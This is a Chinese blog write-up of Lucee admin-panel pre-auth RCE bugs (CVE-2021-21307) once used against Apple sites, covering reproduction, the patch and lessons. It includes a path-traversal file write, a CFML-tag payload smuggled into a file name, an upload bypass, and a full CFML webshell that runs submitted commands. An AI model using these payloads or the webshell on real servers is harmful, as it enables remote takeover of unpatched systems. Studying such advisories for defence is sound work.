【漏洞分析】httpvoid在2020年hacking Apple时挖到的几个Lucee的Pre-Auth RCE漏洞

背景

作者在Apple的三个域名上发现使用了lucee,且其管理模块可以访问。这三个站点域名如下:

复现环境

使用lucee的官方docker镜像,版本:5.3.7.43

代码:https://github.com/lucee/Lucee.git ,切到 5.3.7.43 这个tag

漏洞1

core/src/main/cfml/context/admin/imgProcess.cfm代码如下:

<cfoutput>
	<cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true">
</cfoutput>

imgProcess.cfm 存在路径遍历漏洞,可写入webshell.
由于Linux在路径遍历时,如果路径中某个目录不存在,则会报错,提示找不到。而这里的 __ 目录默认是不存在的。不过好在 #expandPath 在遇到目录不存在时,会自动创建,因此这里得先发一个请求,file参数传入 /test.txt ,让 __ 目录先创建出来:

image

再进行webshell写入(如果不熟悉CFML的语法的话,提需求让GPT帮写一个就行了):
image
image

或者将webshell写到lucee的web目录下:
image
image

注:不过由于Apple的WAF会把url中的路径遍历字符都block掉,所以他们无法利用该漏洞攻击Apple。

漏洞2

该漏洞的关键,在于理解 core/src/main/cfml/context/admin/admin.search.index.cfm 的代码逻辑,简单来说,它会将指定目录里的某些文件,经过一系列处理后写入到另一个指定目录,但是这中间的处理逻辑比较复杂,不理解里面的逻辑,是不知道如何作漏洞利用的。由于没法调试cfml代码,所以笔者在分析的时候只能边看代码边作注释,免得看了后面忘了前面。

这里就不贴代码了,写一下admin.search.index.cfm 与漏洞利用有关的逻辑:

(1) admin.search.index.cfm接收两个参数,分别是dest目录dataDir和 和src目录luceeArchiveZipPath
(2) 如果 #dataDir#指定的目录不存在,则创建;
(3) 遍历 {lucee-web}/context/admin/resources/language/') 目录下的 xml文件,这里总共两个,分别是en.xmlde.xml,解析xml文件,获取xml文档对象. xml文件部分内容如下:
image
(4) 遍历 #luceeArchiveZipPath# 目录下的 *.*.cfm 文件,如果 *.*.cfm 文件 的内容匹配 [''"##]stText\..+?[''"##] 这条正则表达式,则将把匹配的部分提取出来,然后作一些字符串方面的处理,比如:*.*.cfm文件的内容为:#stText.x.y#,则处理后变成 x.y 。如果 x.y 的 是 en.xml 中某个<data>key值,则会得到 {"x.y":{"*.*":1}} 这样的内容写入到 #dataDir#/searchindex.cfm 文件中,其中的 *.* 即 前面提到的 *.*.cfm 文件去掉 .cfm后缀后的文件名。

如果这里的*.* 可以被用户控制,则是有机会写入webshell实现RCE的。

这里可以用到漏洞1中的imgProcess.cfm,通过imgProcess.cfm 写入一个内容可匹配正则表达式 [''"##]stText\..+?[''"##] 的文件,然后文件名包含符合*.*.cfm 的格式。

具体漏洞利用如下:

(1) 通过 imgProcess.cfm{temp-directory}/admin-ext-thumbnails/__/ 目录下创建文件,文件名为:
server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm,满足 *.*.cfm 的格式;
文件内容为:#stText.buttons.save#,满足前面提到的正则,同时经过代码中字符串的处理后的buttons.saveen.xml中的data key。
image

(2) 通过 admin.search.index.cfm ,成功在#dataDir# 目录下创建并写入了 searchindex.cfm
image
image

(3) 访问 searchindex.cfm,通过入参 fcontent 成功在同目录下写入了cfm webshell。
可能你会奇怪,这个 searchindex.cfm文件的内容不是一个json格式的字符串吗,cfml标签是在json字符串里的,这种情况下,cfml标签也可以被服务端识别吗?答案是可以的。

cfml webshell如下:

<cfif isDefined("form.command") AND len(trim(form.command))>
    <cfset command = form.command>
    <cfset output = "" />
    <cftry>
        <cfexecute name="#command#"
                   variable="output"
                   timeout="10">
        </cfexecute>

        <pre><cfoutput>#HTMLEditFormat(output)#</cfoutput></pre>

        <cfcatch type="Any">
            <cfoutput>#HTMLEditFormat(cfcatch.message)#</cfoutput>
        </cfcatch>
    </cftry>
<cfelse>
    <cfoutput>
        <form method="POST">
            <label for="command">Input:</label>
            <input type="text" id="command" name="command" required>
            <button type="submit">Execution</button>
        </form>
    </cfoutput>
</cfif>

image
image

由于该利用过程中,url、query params不会出现路径遍历相关字符,所以不会触发Apple的WAF的拦截,于是作者利用该漏洞实现了 https://facilities.apple.com/ 的RCE。

漏洞3

由于另外两个站点部署的是lucee较旧的版本,在lucee较旧的版本中 imgProcess.cfm 不可用,所以需要再另找漏洞:找一个也能写入文件的 cfm 文件。

作者发现 ext.applications.upload.cfm 可以上传lex文件,lex其实就是一个zip压缩包。虽然代码中存在 request.adminTypoe 判断管理员权限,但在权限校验之前,文件已经上传到服务器上了,即这个校验是个摆设。

于是可以将漏洞2中通过imgProcess.cfm的创建并写入的server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm 文件,打包到zip文件,并将后缀改为 .lex,通过ext.applications.upload.cfm上传到服务器。然后通过 admin.search.index.cfm 中的 luceeArchiveZipPath ,使用zip://协议指定lex压缩包的路径。(没错,cfml很多文件相关的标签都是支持zip协议、file协议的,可能jar协议也是支持的,这个没试

漏洞利用如下:

(1) 构造lex文件,并通过 ext.applications.upload.cfm 上传:
image
image
image

(2) 通过 admin.search.index.cfm ,成功在#dataDir# 目录下创建并写入了 searchindex.cfm
image
image

(3) 通过生成的 searchindex.cfm 写入cfm webshell
image
image

通过该漏洞,成功在Apple的另外两个站点实现了RCE。
lucee将作者发现的这几个管理面板的漏洞,统一申请了 CVE-2021-21307。

补丁

lucee 针对该问题的修复方案是:未登录情况下只能访问管理面的 admin.cfmweb.cfmserver.cfm
commit链接:https://github.com/lucee/Lucee/commit/6208ab7c44c61d26c79e0b0af10382899f57e1ca

或者按照lucee官方文档的最佳实践,拒绝对管理面的访问:
https://docs.lucee.org/guides/deploying-lucee-server-apps/lockdown-guide.html

启发

(1) cfml 文件比jsp强大,且非常易理解。但是缺点也蛮像的,不好去写一些复杂的安全校验逻辑,安全性比较依赖于标签的实现(个人看法),容易导致安全漏洞的产生;
(2) cfml标签可以被嵌入到 json字符串中,只要文件是后缀是.cfm,服务端依旧可以识别 ;
(3) cfml中很多文件IO相关的标签,支持 zip://协议指定zip压缩包文件;
(4) 针对基于cfml的web应用,要重点关注文件写入的逻辑,如果有任意文件写漏洞的话,大概率可以RCE。
(5) cfml 代码没法用IDEA调试,可以结合lucee的文档和 ChatGPT辅助阅读,提高效率。
(6) 按照官方的修复方式,如果拿到了管理员权限,其实相关cfm还是可以访问到的,即管理面 Post-RCE。对于hacking Apple来说估计也很难,可能是在WAF或者什么方式,阻断了相关url的访问。

Reference

https://httpvoid.com/Apple-RCE.md
https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r

posted @ 2025-02-21 21:20  wh03ver-momo  阅读(25)  评论(0)    收藏  举报